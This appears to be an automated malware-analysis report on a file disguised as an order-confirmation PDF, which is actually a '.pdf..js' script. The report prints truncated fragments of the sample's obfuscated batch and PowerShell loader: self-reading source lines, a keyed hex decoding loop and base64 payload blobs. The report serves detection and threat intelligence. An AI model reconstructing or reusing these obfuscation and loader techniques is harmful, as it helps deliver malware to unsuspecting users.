Suspicious ^80% Download

Order_Confirmation#PI_60668.pdf..js

Obfuscated PowerShell payload execution

Batch fragmentation and junk-padding profileBatch extreme line-length bloat

SHA-2566bb8d355f0e965cde513cee8d18172dae93ad4ce53b0a1a72def6e79db27ec32

URLhttps://mb-api.abuse.ch/api/v1/

Evidence

Batch delayed variable expansion lines 1–12

1/*
2rem
3
4if not defined USCXYYGJU cd /d "%~dp0"
5setlocal EnableDelayedExpansion
6set "AQMHZ=SystemRoot"
7set "OSSPPDGJR=!%AQMHZ%!"
⋯5 lines

PowerShell reads source lines line 31

31:57… '';$t=[type]('IO.Fil'+'e');foreach($l in $t.$('Get'+'Method')(('Read'+'AllLines'),[type[]]@([string])).Invoke($null,@($p))){$i=$l.IndexOf('set '+[char]34+'LKBFQR');if($i-ge0){$c=$l.Substring($i+11);if($c.End …

English function-word token "for" line 31

31:331… env:DSGA;$n=$h.Length/2;$b=New-Object byte[] $n;for($i=0;$i-lt$n;$i++){$b[$i]=[byte](([Convert]::('To'+'Byte')($h.Substring($i*2,2),16)+256-$k)%%25 …

References HDF5 or an HDF5 binding line 189

189:2499… 90XDPJ2O0POy/fXmeg62iJzOyRo1v4EJ0rQA7jN1jTIEx/89EovvSNPA2fBBpV+/H5RxxuMKm+LQksYrTiHJyb1D2e4O9vFfA79k5mMXXZo2eHsPS0ZfPsa3CopPIoy2lpkMnPk52ktnJ/danvcxD6m9Weo0+yNmwv78TJ0yWWBrn2hmK6VzNGpilqSj3OhOFr69Ae3HV …

Source references XOR syntax line 260

260:2071… 28otRNbL12oEo29T4PDfCVf56HBM9liCIzCmUTX827/7SO8Tlbf7cmGgmc32/ky+xOr+0q1WCcC4pj9Zys+2TcAriQDmOPsDFzdhKtPae/sriZYQz50pfoXlrR280svSSZ05A79AB1VTj6ltx239nvxB3BrgWjnGFmeI8ROW2fKtIJ/XWd+roWPYXjsuW/rUWv4 …